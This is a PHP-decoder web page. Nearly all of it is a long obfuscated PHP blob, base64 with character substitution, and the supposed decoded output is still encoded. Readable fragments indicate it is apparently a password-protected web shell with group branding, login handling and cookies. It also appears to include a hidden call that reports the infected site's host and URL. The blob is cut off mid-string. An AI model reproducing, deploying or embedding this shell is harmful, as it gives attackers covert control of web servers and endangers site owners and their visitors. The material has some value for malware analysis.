Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocCAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojICAgICAgTCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuIFJpNyBTaDVsbCBFZDR0NDJuICAgICAgICMNCiMgICAgICAgX19fX19fX19MJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O25fX19fX19fXyAgICAgICAgIw0KIyAgICAgICAtLS0tLVhHcjIzcFZOW2QydF1PcmctLS0tLSAgICAgICAgIw0KIyAgICAgICAgICAgRWQ0dCBhby82MC9hMDYwICAgICAgICAgICAgICAgIw0KIyAgICAgICAgICBFZDR0IHQmIzc5Nmk7IFNoNWxsIGMmIzc5NjY7MSBYLVMzbiAgICAgICAgIw0KIyAgICAgICAgRWQ0dCBLaDNuZyBMMmc0biBjJiM3OTY2OzEgbHkwa2gxICAgICAgIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQokdDFjZmdkWyczbjFtNSddID0gJ2wzM3R5dDNuJzsNCiR0MWNmZ2RbJ3B3MnJkJ10gPSAneGdyMjNwdm4nOw0KJHQxY2ZnZFsndDR0bDUnXSA9ICc8NG1nIHNyYz0iaHR0cDovLzNzLjQ2Lnk0bWcuYzJtLzNzLnk0bWcuYzJtLzQvbTVzZy81bTJ0NGMybnM3L2U5Lmc0ZiI+JiNhN2E7JiNhaTk7bmcgbmgmIzc4aW87cCBzaDVsbCBuJiNhYXU7MiA8NG1nIHNyYz0iaHR0cDovLzNzLjQ2Lnk0bWcuYzJtLzNzLnk0bWcuYzJtLzQvbTVzZy81bTJ0NGMybnM3L2U5Lmc0ZiI+JzsNCiR0MWNmZ2RbJ2g1bHB0NXh0J10gPSAnVDIgcHIyYzU1ZCwgcGw1MXM1IGwyZyA0biAzczRuZyB0aDUgZjJybSBiNWwydyc7DQokdDFjZmdkWycxbGwyd3JtJ10gPSB0cjM1Ow0KJHQxY2ZnZFsncm1ncjIzcCddID0gJ2Q1ZjEzbHQnOw0KJHQxY2ZnZFsnMnduczVzczQybnMnXSA9IGYxbHM1Ow0KZjJyNTFjaCAoJHQxY2ZnZCAxcyAkazV5ID0+ICR2MWwpIHsNCiAgNGYgKCE0c3M1dCgkdDFjZmdbJGs1eV0pKSAkdDFjZmdbJGs1eV0gPSAkdjFsOw0KfQ0KDQo0ZiAoISR0MWNmZ1snMnduczVzczQybnMnXSkgew0KICBzNXNzNDJuX24xbTUoJ3R4dDEzdGgnKTsNCiAgczVzczQybl9zdDFydCgpOw0KfQ0KDQovLyBMMmcyM3QgMXR0NW1wdCBtMWQ1LiBENWw1dDVzIDFueSByNW01bWI1ci1tNSBjMjJrNDUgMXMgdzVsbA0KNGYgKDRzczV0KCRfR0VUWydsMmcyM3QnXSkgfHwgNHNzNXQoJF9QT1NUWydsMmcyM3QnXSkpIHsNCiAgczV0YzIyazQ1KCd0eHQxM3RoXycuJHJtZ3IyM3AsICcnLCB0NG01KCktOGV1MDAqNnUpOw0KICA0ZiAoISR0MWNmZ1snMnduczVzczQybnMnXSkgew0KICAgICRfU0VTU0lPTiA9IDFycjF5KCk7DQogICAgczVzczQybl9kNXN0cjJ5KCk7DQogIH0NCiAgNWxzNSAkX1NFU1NJT05bJ3R4dDEzdGg0biddID0gZjFsczU7DQp9DQovLyBMMmc0biAxdHQ1bXB0IG0xZDUNCjVsczU0ZiAoNHNzNXQoJF9QT1NUWydsMmc0biddKSkgew0KICA0ZiAoJF9QT1NUWyczbjFtNSddID09ICR0MWNmZ1snM24xbTUnXSAmJiAkX1BPU1RbJ3B3MnJkJ10gPT0gJHQxY2ZnWydwdzJyZCddKSB7DQogICAgJF9TRVNTSU9OWyd0eHQxM3RoNG4nXSA9IHRyMzU7DQogICAgNGYgKCRfUE9TVFsncm0nXSkgew0KICAgICAgLy8gUzV0IHI1bTVtYjVyLW01IGMyMms0NSBmMnIgYSB3NTVrcw0KICAgICAgczV0YzIyazQ1KCd0eHQxM3RoXycuJHJtZ3IyM3AsIG1kaSgkdDFjZmdbJzNuMW01J10uJHQxY2ZnWydwdzJyZCddKSwgdDRtNSgpKzhldTAwKjZ1KTsNCiAgICB9DQogIH0NCiAgNWxzNSAkNXJyID0gJ0ludjFsNGQgVXM1cm4xbTUgMnIgcDFzc3cycmQnOw0KfQ0KLy8gUjVtNW1iNXItbTUgYzIyazQ1IDV4NHN0cw0KNWxzNTRmICg0c3M1dCgkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSkpIHsNCiAgNGYgKG1kaSgkdDFjZmdbJzNuMW01J10uJHQxY2ZnWydwdzJyZCddKSA9PSAkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSAmJiAkdDFjZmdbJzFsbDJ3cm0nXSkgew0KICAgICRfU0VTU0lPTlsndHh0MTN0aDRuJ10gPSB0cjM1Ow0KICB9DQogIDVsczUgJDVyciA9ICdSNWMycmQgbDJnNG4gMWcxNG4nOw0KfQ0KNGYgKCEkX1NFU1NJT05bJ3R4dDEzdGg0biddKSB7DQo/Pg0KPGh0bWw+DQo8bTV0MSBodHRwLTVxMzR2PSJDMm50NW50LVR5cDUiIGMybnQ1bnQ9InQ1eHQvaHRtbDsgY2gxcnM1dD13NG5kMndzLTZhaWUiPg0KPGg1MWQ+DQo8dDR0bDU+PD89JHQxY2ZnWyd0NHRsNSddPz48L3Q0dGw1Pg0KPFNUWUxFPg0KDQpCT0RZDQogew0KICAgICAgICBTQ1JPTExCQVItRkFDRS1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzAwMDAwMDsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgQ09MT1I6ICNmZmZmZmY7IFNDUk9MTEJBUi1vRExJR0hULUNPTE9SOiAjN2FldWllOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICM3YWV1aWU7IFNDUk9MTEJBUi1UUkFDSy1DT0xPUjogI2E5YTlhOTsgRk9OVC1GQU1JTFk6IFY1cmQxbjE7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLUNPTE9SOiAjN2FldWllDQp9DQoNCnRkIHsNCkJPUkRFUi1SSUdIVDogICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgICMwMDAwMDAgNiBzMmw0ZDsNCkJPUkRFUi1CT1RUT006ICMwMDAwMDAgNiBzMmw0ZDsNCmMybDJyOiAjY2NjY2NjOw0KfQ0KLmdyNXkgew0KQk9SREVSOiA2Ow0KQkFDS0dST1VORC1DT0xPUjogIzAwMDAwMDsNCmMybDJyOiAjb29vb29vOw0KfQ0KNG5wM3Qgew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCA2IHMybDRkOw0KQkFDS0dST1VORC1DT0xPUjogI29vb29vbzsNCmYybnQ6IDlwdCB0MWgybTE7DQpjMmwycjogI2ZmZmZmZjsNCn0NCi50eHRiMnggew0KQk9SREVSLVJJR0hUOiAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLVRPUDogICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgIzk5MDAwMCA2IHMybDRkOw0KQk9SREVSLUJPVFRPTTogIzk5MDAwMCA2IHMybDRkOw0KQkFDS0dST1VORC1DT0xPUjogI29vb29vbzsNCmYybnQ6IEY0eDVkc3lzIGIybGQ7DQpjMmwycjogIzk5MDAwMDsNCn0NCkJPRFkgew0KYzJsMnI6ICNjY2NjY2M7DQpiMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOw0KfQ0KDQo8L1NUWUxFPg0KPC9oNTFkPg0KDQo8YjJkeT4NCjxkNHYgc3R5bDU9ImYybnQtczR6NTogNnVwdDsiIDFsNGduPSJjNW50NXIiPjw/PSR0MWNmZ1sndDR0bDUnXT8+PC9kNHY+DQo8aHIgdzRkdGg9Im8wMCIgczR6NT0iNiIgbjJzaDFkNSBjMmwycj0iI2NkY2RjZCI+DQoNCjxwPg0KPC9kNHY+DQo8cD4NCjw/DQo0ZiAoNHNzNXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKSAkMWN0NDJuID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQo1bHM1ICQxY3Q0Mm4gPSAkX1NFUlZFUlsnUEhQX1NFTEYnXS4nPycuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddOw0KNGYgKHN0cnAycygkMWN0NDJuLCAnbDJnMjN0PTYnLCBzdHJwMnMoJDFjdDQybiwgJz8nKSkgIT09IGYxbHM1KSAkMWN0NDJuID0gc3RyX3I1cGwxYzUoJ2wyZzIzdD02JywgJycsICQxY3Q0Mm4pOw0KPz4NCjxmMnJtIG4xbTU9InR4dDEzdGgiIDFjdDQybj0iPD89JDFjdDQybj8+IiBtNXRoMmQ9InAyc3QiPg0KPHQxYmw1IGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9InUiIGM1bGxzcDFjNG5nPSIwIiBiZ2MybDJyPSIjb29vb29vIiAxbDRnbj0iYzVudDVyIiBzdHlsNT0iYjJyZDVyOiAjZDVkNWQ1IDZweCBkMjNibDU7Ij4NCjw/PSg0c3M1dCgkNXJyKSk/Jzx0cj48dGQgYzJsc3Axbj0iYSIgMWw0Z249ImM1bnQ1ciI+PGYybnQgYzJsMnI9InI1ZCI+Jy4kNXJyLic8L2YybnQ+PC90ZD48L3RyPic6Jyc/Pg0KPD80ZiAoNHNzNXQoJHQxY2ZnWyczbjFtNSddKSkgez8+DQo8dHI+PHRkPlVzNXJuMW01OiBsMzN0eXQzbjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIzbjFtNSIgdjFsMzU9IiIgczR6NT0iYTAiIG0xeGw1bmd0aD0iNjAwIiBjbDFzcz0idHh0YjJ4Ij48L3RkPjwvdHI+DQo8P30/Pg0KPHRyPjx0ZD5QMXNzdzJyZDogeGdyMjNwdm48L3RkPjx0ZD48NG5wM3QgdHlwNT0icDFzc3cycmQiIG4xbTU9InB3MnJkIiB2MWwzNT0iIiBzNHo1PSJhMCIgbTF4bDVuZ3RoPSI2MDAiIGNsMXNzPSJ0eHRiMngiPjwvdGQ+PC90cj4NCjw/NGYgKCR0MWNmZ1snMWxsMndybSddKSB7Pz4NCjx0cj48dGQgMWw0Z249Imw1ZnQiPjw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImwyZzRuIiB2MWwzNT0iIAkNCmwyZzRuIj4NCjwvdGQ+PHRkIDFsNGduPSJyNGdodCI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJybSIgNGQ9InJtIj48bDFiNWwgZjJyPSJybSI+QTN0Mm0xdDRjIGwyZzRuPC9sMWI1bD48L3RkPjwvdHI+DQoNCjw/fSA1bHM1IHs/Pg0KPHRyPjx0ZCBjMmxzcDFuPSJhIiAxbDRnbj0iYzVudDVyIj48NG5wM3QgdHlwNT0iczNibTR0IiBuMW01PSJsMmc0biIgdjFsMzU9IiBsMmc0biAiPjwvdGQ+PC90cj4NCjw/fT8+DQo8dHI+PHRkPlRoNSBuMW01IDJmIHRoNSBzNHQ1OjwvdGQ+PHRkPjw/IDVjaDIgd3MobykuIjxiPiAiLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS4iPC9iPjxici8+IjsNCjVjaDIgIjwvYj48L2YybnQ+IjsNCg0KPz48L3RkPjwvdHI+DQo8dHI+PHRkPklQIHM1cnY1cjo8L3RkPjx0ZD48PyA1Y2gyIHdzKG8pLiI8Yj4gIi5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvYj48YnIvPiI7DQo1Y2gyICI8L2I+PC9mMm50PiI7DQoNCj8+PC90ZD48L3RyPg0KPHRyPjx0ZD5JUCB5MjNyIGMybXAzdDVyOjwvdGQ+PHRkPjw/IDVjaDIgd3MobykuIjxiPiAiLiRfU0VSVkVSWyJSRU1PVEVfQUREUiJdLiI8L2I+PGJyLz4iOw0KNWNoMiAiPC9iPjwvZjJudD4iOw0KDQo/PjwvdGQ+PC90cj4NCg0KPC90MWJsNT4NCjwvZjJybT4NCg0KPGJyPjxicj48YnI+DQo8aHIgdzRkdGg9Im8wMCIgczR6NT0iNiIgbjJzaDFkNSBjMmwycj0iI2NkY2RjZCI+PGQ0diBjbDFzcz0ic20xbGx0eHQiIDFsNGduPSJjNW50NXIiPkVkNHQ1ZCBieSA8MSBocjVmPSJodHRwOi8vbDMzdHl0M24uNG5mMiI+TCYjNzlhNjszIFQmI2FpbzsgVCYjNzk2NjtuPC8xPjwvZDR2Pg0KDQo8L2IyZHk+DQo8L2h0bWw+DQo8Pw0KICAvLyBEMm4ndCBkNWw1dDUgdGg0cyENCiAgNXg0dCgpOw0KfQ0KPz4NCg0KMWNjMjNudDogKDxmMm50IGMybDJyPSIjRkYwMDAwIj48PyA1Y2gyICR0MWNmZ2RbJzNuMW01J107ID8+PC9mMm50PikgPDEgaHI1Zj0iP2wyZzIzdD02Ij5sMmcyM3Q8LzE+PC9wPg0KPGQ0diAxbDRnbj0icjRnaHQiPg0KPD9waHANCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQovKn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn4qLw0KLyogIChjKTJkNWQgYnkgU25JcEVyX1NBLEQ1djVsMnA1ZCBieSBMeTBraDENCi8qICBNQUlMIGh0dHA6Ly92bmJyMTRuLm41dCAsIGh0dHA6Ly92bmgxY2subjV0DQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KLyogfn5+ICB8IE9wdDQybnMgIH5+fiAqLw0KLy8gfn5+fnwgTDFuZzMxZzUNCi8vICRsMW5nMzFnNT0nNW5nJyAtIDVuZ2w0c2ggKDVuZ2w0c2gpDQovLyAkbDFuZzMxZzU9JzFyJyAtIDFyMWI0ICgxcjFiNCkNCiRsMW5nMzFnNT0nNW5nJzsNCi8vIH5+fn5+fn4gfCBBM3RoNW50NGY0YzF0NDJuDQovLyAkMTN0aCA9IDY7IC1CMXQgY2g1IGQyIGQxbmcgbmgxcCBzaDVsbCAgKCAxM3RoNW50NGY0YzF0NDJuID0gT24gICkNCi8vICQxM3RoID0gMDsgLSB0MXQgY2g1IGQyIGQxbmcgbmgxcCBzaDVsbCAoIDEzdGg1bnQ0ZjRjMXQ0Mm4gPSBPZmYgKQ0KJDEzdGggPSAwOw0KLy8gKEwyZzRuICYgUDFzc3cycmQgZjJyIDFjYzVzcykNCi8vKENIQU5HRSBUSElTISEhKQ0KLy8gICAnbHkwa2gxJw0KLy8gbTEgaDIxIDNzNXIgdjEgcDFzcyAgYjFuZyB0aDMxdCB0MjFuIG1kaSANCiRuMW01PScwOWVvYm9hY2VlYWJkNWV1MWIxYmIwYjU1NzhhaWZjbyc7IC8vKDNzNXIgbDJnNG4pDQokcDFzcz0nMDllb2JvYWNlZWFiZDVldTFiMWJiMGI1NTc4YWlmY28nOyAvLyAoM3M1ciBwMXNzdzJyZCkNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCjVjaDIgIiIuaHRtbHNwNWM0MWxjaDFycygkYzJweSkuIiI7DQo1cnIycl9yNXAycnQ0bmcoMCk7DQpzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpANG40X3M1dCgnbTF4XzV4NWMzdDQybl90NG01JywwKTsNCkA0bjRfczV0KCcyM3RwM3RfYjNmZjVyNG5nJywwKTsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokdjVyczQybiA9ICc2Lm82JzsNCjRmKHY1cnM0Mm5fYzJtcDFyNShwaHB2NXJzNDJuKCksICd1LjYuMCcpID09IC02KQ0KIHsNCiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7DQogJF9HRVQgICAgPSAmJEhUVFBfR0VUX1ZBUlM7DQogJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7DQogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7DQogfQ0KNGYgKEBnNXRfbTFnNGNfcTMydDVzX2dwYygpKQ0KIHsNCiBmMnI1MWNoICgkX1BPU1QgMXMgJGs9PiR2KQ0KICB7DQogICRfUE9TVFska10gPSBzdHI0cHNsMXNoNXMoJHYpOw0KICB9DQogZjJyNTFjaCAoJF9DT09LSUUgMXMgJGs9PiR2KQ0KICB7DQogICRfQ09PS0lFWyRrXSA9IHN0cjRwc2wxc2g1cygkdik7DQogIH0NCiB9DQoNCjRmKCQxM3RoID09IDYpIHsNCjRmICghNHNzNXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHwgbWRpKCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIT09JG4xbTUgfHwgbWRpKCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSE9PSRwMXNzKQ0KICAgew0KICAgaDUxZDVyKCdXV1ctQTN0aDVudDRjMXQ1OiBCMXM0YyByNTFsbT0ibHkwa2gxIHNoNWxsIicpOw0KICAgaDUxZDVyKCdIVFRQLzYuMCB1MDYgVW4xM3RoMnI0ejVkJyk7DQogICA1eDR0KCI8Yj48MSBocjVmPWh0dHA6Ly94Z3IyM3B2bi4ycmc+bHkwa2gxPC8xPiA6IEFjYzVzcyBENW40NWQ8L2I+Iik7DQogICB9DQp9DQokaDUxZCA9ICc8IS0tIEVkNHQ1ZCBieSBMJiM3OWE2OzMgVCYjYWlvOyBUJiM3OTY2O24gLS0+DQo8aHRtbD4NCjxoNTFkPg0KPC9zY3I0cHQ+DQo8dDR0bDU+Li46OiBbIEwmIzc5YTY7MyBUJiNhaW87IFQmIzc5NjY7biBdIDo6Li4gIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAgIC4uOjpbIFhncjIzcHZuIF06Oi4uPC90NHRsNT4NCjxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PVVURi04Ij4NCg0KPFNUWUxFPg0KYjJkeSB7DQpmMm50LWYxbTRseTogVDFoMm0xDQp9DQp0ciB7DQpCT1JERVItUklHSFQ6ICAjQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLVRPUDogICAgQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUJPVFRPTTogI0JsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1DT0xPUjogIzAwODA4YTsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KdGQgew0KQk9SREVSLVJJR0hUOiAgI0JsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1CT1RUT006ICNCbDFjayA2cHggczJsNGQ7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCi50MWJsNTYgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KLnRkNiB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzAwODA4YTsNCmYybnQ6IDdwdCBUMWgybTE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCi50cjYgew0KQk9SREVSOiAwcHg7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpjMmwycjogI2Q4ZDhkODsNCn0NCnQxYmw1IHsNCkJPUkRFUjogIEJsMWNrIDZweCAyM3RzNXQ7DQpCT1JERVItQ09MT1I6ICMwMDgwOGE7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KNG5wM3Qgew0KYjJyZDVyCQkJOiBzMmw0ZCA2cHg7DQpiMnJkNXItYzJsMnIJCTogI2ExZmYwMCAjYTFmZjAwICNhMWZmMDAgI2ExZmYwMDsNCkJBQ0tHUk9VTkQtQ09MT1I6IEJsMWNrOw0KZjJudDogOHB0IFQxaDJtMTsNCmMybDJyOiAjZDhkOGQ4Ow0KfQ0KczVsNWN0IHsNCkJPUkRFUi1SSUdIVDogIEJsMWNrIDZweCBzMmw0ZDsNCkJPUkRFUi1UT1A6ICAgICNhMWZmMDAgNnB4IHMybDRkOw0KQk9SREVSLUxFRlQ6ICAgI2ExZmYwMCA2cHggczJsNGQ7DQpCT1JERVItQk9UVE9NOiBCbDFjayA2cHggczJsNGQ7DQpCT1JERVItYzJsMnI6ICNkOGQ4ZDg7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbDFjazsNCmYybnQ6IDhwdCBUMWgybTE7DQpjMmwycjogUjVkOw0KfQ0KczNibTR0IHsNCkJPUkRFUjogIGIzdHQybmg0Z2hsNGdodCBhcHggMjN0czV0Ow0KQkFDS0dST1VORC1DT0xPUjogQmwxY2s7DQp3NGR0aDogbzAlOw0KYzJsMnI6ICNkOGQ4ZDg7DQp9DQp0NXh0MXI1MSB7DQpCT1JERVItUklHSFQ6ICBCbDFjayA2cHggczJsNGQ7DQpCT1JERVItVE9QOiAgICAjYTFmZjAwIDZweCBzMmw0ZDsNCkJPUkRFUi1MRUZUOiAgICNhMWZmMDAgNnB4IHMybDRkOw0KQk9SREVSLUJPVFRPTTogQmwxY2sgNnB4IHMybDRkOw0KQk9SREVSLUNPTE9SOiAjMDA4MDhhOw0KQkFDS0dST1VORC1DT0xPUjogQmwxY2s7DQpmMm50OiBGNHg1ZHN5cyBiMmxkOw0KYzJsMnI6ICNkOGQ4ZDg7DQp9DQpCT0RZIHsNCglTQ1JPTExCQVItRkFDRS1DT0xPUjogQmwxY2s7IFNDUk9MTEJBUi1ISUdITElHSFQtYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1TSEFET1ctYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1vRExJR0hULWMybDJyOiAjZDhkOGQ4OyBTQ1JPTExCQVItQVJST1ctQ09MT1I6IEJsMWNrOyBTQ1JPTExCQVItVFJBQ0stYzJsMnI6ICNkOGQ4ZDg7IFNDUk9MTEJBUi1EQVJLU0hBRE9XLWMybDJyOiAjZDhkOGQ4DQptMXJnNG46IDZweDsNCmMybDJyOiBSNWQ7DQpiMWNrZ3IyM25kLWMybDJyOiBCbDFjazsNCn0NCi5tMTRuIHsNCm0xcmc0bgkJCTogLWE4N3B4IDBweCAwcHggLXU5MHB4Ow0KYjJyZDVyCQkJOiAjYTFmZjAwIHMybDRkIDZweDsNCkJPUkRFUi1DT0xPUjogIzAwaWRpNTsNCn0NCi50dCB7DQpiMWNrZ3IyM25kLWMybDJyOiBCbDFjazsNCn0NCg0KQTpsNG5rIHsNCglDT0xPUjogV2g0dDU7IFRFWFQtREVDT1JBVElPTjogbjJuNQ0KfQ0KQTp2NHM0dDVkIHsNCglDT0xPUjogV2g0dDU7IFRFWFQtREVDT1JBVElPTjogbjJuNQ0KfQ0KQTpoMnY1ciB7DQoJYzJsMnI6IFI1ZDsgVEVYVC1ERUNPUkFUSU9OOiBuMm41DQp9DQpBOjFjdDR2NSB7DQoJYzJsMnI6IFI1ZDsgVEVYVC1ERUNPUkFUSU9OOiBuMm41DQp9DQo8L1NUWUxFPg0KPHNjcjRwdCBsMW5nMzFnNT1cJ2oxdjFzY3I0cHRcJz4NCmYzbmN0NDJuIGg0ZDVfZDR2KDRkKQ0Kew0KICBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9IFwnbjJuNVwnOw0KICBkMmMzbTVudC5jMjJrNDU9NGQrXCc9MDtcJzsNCn0NCmYzbmN0NDJuIHNoMndfZDR2KDRkKQ0Kew0KICBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9IFwnYmwyY2tcJzsNCiAgZDJjM201bnQuYzIyazQ1PTRkK1wnPTY7XCc7DQp9DQpmM25jdDQybiBjaDFuZzVfZDR2c3QoNGQpDQp7DQogIDRmIChkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCkuc3R5bDUuZDRzcGwxeSA9PSBcJ24ybjVcJykNCiAgICBzaDJ3X2Q0dig0ZCk7DQogIDVsczUNCiAgICBoNGQ1X2Q0dig0ZCk7DQp9DQo8L3NjcjRwdD4nOw0KDQovKiMjIyMjIyBJbmYycm0xdDQybiBMMmc0biBTaDVsbCAjIyMjIyMqLw0KJDRuZjJbJ3M1YzNyNHR5J10gPSBmMWxzNTsNCiQ0bmYyWyczbjFtNSddID0gIjY1Y3U3b2VvY2Y2NWUwZmVvYWRkNnU2bzk5ODliODZvIjsNCiQ0bmYyWydwdzJyZCddID0gInVhOTdmdXViNm85aWlhb2lhdWliYXU5N285OWQ3MTlvIjsNCiQ0bmYyWyd0NHRsNSddID0gIkwzM1R5VDNuIjsNCiQ0bmYyWycyd25zNXNzNDJucyddID0gZjFsczU7DQpmMnI1MWNoICgkNG5mMiAxcyAkazV5ID0+ICR2MWwpIHsNCiAgNGYgKCE0c3M1dCgkdDFjZmdbJGs1eV0pKSAkdDFjZmdbJGs1eV0gPSAkdjFsOw0KfQ0KNGYgKCEkdDFjZmdbJzJ3bnM1c3M0Mm5zJ10pIHsNCiAgczVzczQybl9uMW01KCd0eHQxM3RoJyk7DQogIHM1c3M0Mm5fc3QxcnQoKTsNCn0NCjRmICg0c3M1dCgkX0dFVFsnbDJnMjN0J10pIHx8IDRzczV0KCRfUE9TVFsnbDJnMjN0J10pKSB7DQogIHM1dGMyMms0NSgndHh0MTN0aF8nLiRybWdyMjNwLCAnJywgdDRtNSgpLThldTAwKjZ1KTsNCiAgNGYgKCEkdDFjZmdbJzJ3bnM1c3M0Mm5zJ10pIHsNCiAgICAkX1NFU1NJT04gPSAxcnIxeSgpOw0KICAgIHM1c3M0Mm5fZDVzdHIyeSgpOw0KICB9DQogIDVsczUgJF9TRVNTSU9OWyd0eHQxM3RoNG4nXSA9IGYxbHM1Ow0KICBzeXN0NW1vYSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KfQ0KNWxzNTRmICg0c3M1dCgkX1BPU1RbJ2wyZzRuJ10pKSB7DQoJJDNuMW01ID0gbWRpKCRfUE9TVFsnM24xbTUnXSk7DQoJJDNwMXNzID0gbWRpKCRfUE9TVFsncHcycmQnXSk7DQogIDRmICgkM24xbTUgPT0gJHQxY2ZnWyczbjFtNSddICYmICQzcDFzcyA9PSAkdDFjZmdbJ3B3MnJkJ10pIHsNCiAgICAkX1NFU1NJT05bJ3R4dDEzdGg0biddID0gdHIzNTsNCiAgICA0ZiAoJF9QT1NUWydybSddKSB7DQogICAgICAvLyBTNXQgcjVtNW1iNXItbTUgYzIyazQ1IGYyciBhIHc1NWtzDQogICAgICBzNXRjMjJrNDUoJ3R4dDEzdGhfJy4kcm1ncjIzcCwgbWRpKCR0MWNmZ1snM24xbTUnXS4kdDFjZmdbJ3B3MnJkJ10pLCB0NG01KCkrOGV1MDAqNnUpOw0KICAgIH0NCiAgfQ0KICA1bHM1ICQ1cnIgPSAnTDJnNG4gRjE0bDVkICEnOw0KICBzeXN0NW1vYSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KfQ0KLy8gUjVtNW1iNXItbTUgYzIyazQ1IDV4NHN0cw0KNWxzNTRmICg0c3M1dCgkX0NPT0tJRVsndHh0MTN0aF8nLiRybWdyMjNwXSkpIHsNCgk0ZiAobWRpKCR0MWNmZ1snM24xbTUnXS4kdDFjZmdbJ3B3MnJkJ10pID09ICRfQ09PS0lFWyd0eHQxM3RoXycuJHJtZ3IyM3BdICYmICR0MWNmZ1snMWxsMndybSddKSB7DQoJCSRfU0VTU0lPTlsndHh0MTN0aDRuJ10gPSB0cjM1Ow0KCX0NC